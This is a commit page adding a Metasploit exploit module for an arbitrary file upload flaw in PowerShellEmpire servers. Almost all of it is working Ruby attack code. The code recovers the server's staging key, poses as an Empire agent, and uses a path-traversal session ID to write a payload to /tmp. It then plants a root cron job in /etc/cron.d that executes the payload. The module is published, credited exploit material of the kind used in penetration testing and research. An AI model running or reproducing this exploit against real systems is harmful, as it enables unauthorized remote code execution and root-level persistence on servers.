Land #7450, PowerShellEmpire Arbitrary File Upload
commit
4596785217
|
@ -0,0 +1,246 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
TASK_DOWNLOAD = 41
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
|
||||
'Description' => %q{
|
||||
A vulnerability existed in the PowerShellEmpire server prior to commit
|
||||
f030cf62 which would allow an arbitrary file to be written to an
|
||||
attacker controlled location with the permissions of the Empire server.
|
||||
|
||||
This exploit will write the payload to /tmp/ directory followed by a
|
||||
cron.d file to execute the payload.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Spencer McIntyre', # Vulnerability discovery & Metasploit module
|
||||
'Erik Daguerre' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => %w{ linux python },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 75 },
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 15 2016'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
|
||||
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
|
||||
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
|
||||
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
return Exploit::CheckCode::Safe if get_staging_key.nil?
|
||||
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def aes_encrypt(key, data, include_mac=false)
|
||||
cipher = OpenSSL::Cipher::AES256.new(:CBC)
|
||||
cipher.encrypt
|
||||
iv = cipher.random_iv
|
||||
cipher.key = key
|
||||
cipher.iv = iv
|
||||
data = iv + cipher.update(data) + cipher.final
|
||||
|
||||
digest = OpenSSL::Digest.new('sha1')
|
||||
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
|
||||
|
||||
data
|
||||
end
|
||||
|
||||
def create_packet(res_id, data, counter=nil)
|
||||
data = Rex::Text::encode_base64(data)
|
||||
counter = Time.new.to_i if counter.nil?
|
||||
|
||||
[ res_id, counter, data.length ].pack('VVV') + data
|
||||
end
|
||||
|
||||
def reversal_key
|
||||
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
|
||||
[
|
||||
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
|
||||
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
|
||||
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
|
||||
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
|
||||
]
|
||||
end
|
||||
|
||||
def rsa_encode_int(value)
|
||||
encoded = []
|
||||
while value > 0 do
|
||||
encoded << (value & 0xff)
|
||||
value >>= 8
|
||||
end
|
||||
|
||||
Rex::Text::encode_base64(encoded.reverse.pack('C*'))
|
||||
end
|
||||
|
||||
def rsa_key_to_xml(rsa_key)
|
||||
rsa_key_xml = "<RSAKeyValue>\n"
|
||||
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
|
||||
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
|
||||
rsa_key_xml << "</RSAKeyValue>"
|
||||
|
||||
rsa_key_xml
|
||||
end
|
||||
|
||||
def get_staging_key
|
||||
# STAGE0_URI resource requested by the initial launcher
|
||||
# The default STAGE0_URI resource is index.asp
|
||||
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
|
||||
})
|
||||
return unless res and res.code == 200
|
||||
|
||||
staging_key = Array.new(32, nil)
|
||||
staging_data = res.body.bytes
|
||||
|
||||
reversal_key.each_with_index do |(pos, char_code), key_pos|
|
||||
staging_key[key_pos] = staging_data[pos] ^ char_code
|
||||
end
|
||||
|
||||
return if staging_key.include? nil
|
||||
|
||||
# at this point the staging key should have been fully recovered but
|
||||
# we'll verify it by attempting to decrypt the header of the stage
|
||||
decrypted = []
|
||||
staging_data[0..23].each_with_index do |byte, pos|
|
||||
decrypted << (byte ^ staging_key[pos])
|
||||
end
|
||||
return unless decrypted.pack('C*').downcase == 'function start-negotiate'
|
||||
|
||||
staging_key
|
||||
end
|
||||
|
||||
def write_file(path, data, session_id, session_key, server_epoch)
|
||||
# target_url.path default traffic profile for empire agent communication
|
||||
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
|
||||
data = create_packet(
|
||||
TASK_DOWNLOAD,
|
||||
[
|
||||
'0',
|
||||
session_id + path,
|
||||
Rex::Text::encode_base64(data)
|
||||
].join('|'),
|
||||
server_epoch
|
||||
)
|
||||
|
||||
if datastore['PROFILE'].blank?
|
||||
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
|
||||
else
|
||||
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'cookie' => "SESSIONID=#{session_id}",
|
||||
'data' => aes_encrypt(session_key, data, include_mac=true),
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(profile_uri)
|
||||
})
|
||||
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def cron_file(command)
|
||||
cron_file = 'SHELL=/bin/sh'
|
||||
cron_file << "\n"
|
||||
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
|
||||
cron_file << "\n"
|
||||
cron_file << "* * * * * root #{command}"
|
||||
cron_file << "\n"
|
||||
|
||||
cron_file
|
||||
end
|
||||
|
||||
def exploit
|
||||
vprint_status('Recovering the staging key...')
|
||||
staging_key = get_staging_key
|
||||
if staging_key.nil?
|
||||
fail_with(Failure::Unknown, 'Failed to recover the staging key')
|
||||
end
|
||||
vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
|
||||
staging_key = staging_key.pack('C*')
|
||||
|
||||
rsa_key = OpenSSL::PKey::RSA.new(2048)
|
||||
session_id = Array.new(50, '..').join('/')
|
||||
# STAGE1_URI, The resource used by the RSA key post
|
||||
# The default STAGE1_URI resource is index.jsp
|
||||
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
|
||||
res = send_request_cgi({
|
||||
'cookie' => "SESSIONID=#{session_id}",
|
||||
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
|
||||
vprint_status("Successfully sent the RSA key")
|
||||
|
||||
# decrypt the response and pull out the epoch and session_key
|
||||
body = rsa_key.private_decrypt(res.body)
|
||||
server_epoch = body[0..9].to_i
|
||||
session_key = body[10..-1]
|
||||
print_status('Successfully negotiated an artificial Empire agent')
|
||||
|
||||
payload_data = nil
|
||||
payload_path = '/tmp/' + rand_text_alpha(8)
|
||||
|
||||
case target['Arch']
|
||||
when ARCH_PYTHON
|
||||
cron_command = "python #{payload_path}"
|
||||
payload_data = payload.raw
|
||||
|
||||
when ARCH_X86, ARCH_X86_64
|
||||
cron_command = "chmod +x #{payload_path} && #{payload_path}"
|
||||
payload_data = payload.encoded_exe
|
||||
|
||||
end
|
||||
|
||||
print_status("Writing payload to #{payload_path}")
|
||||
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
|
||||
|
||||
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
||||
print_status("Writing cron job to #{cron_path}")
|
||||
|
||||
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
|
||||
print_status("Waiting for cron job to run, can take up to 60 seconds")
|
||||
|
||||
register_files_for_cleanup(cron_path)
|
||||
register_files_for_cleanup(payload_path)
|
||||
# Empire writes to a log file location based on the Session ID, so when
|
||||
# exploiting this vulnerability that file ends up in the root directory.
|
||||
register_files_for_cleanup('/agent.log')
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue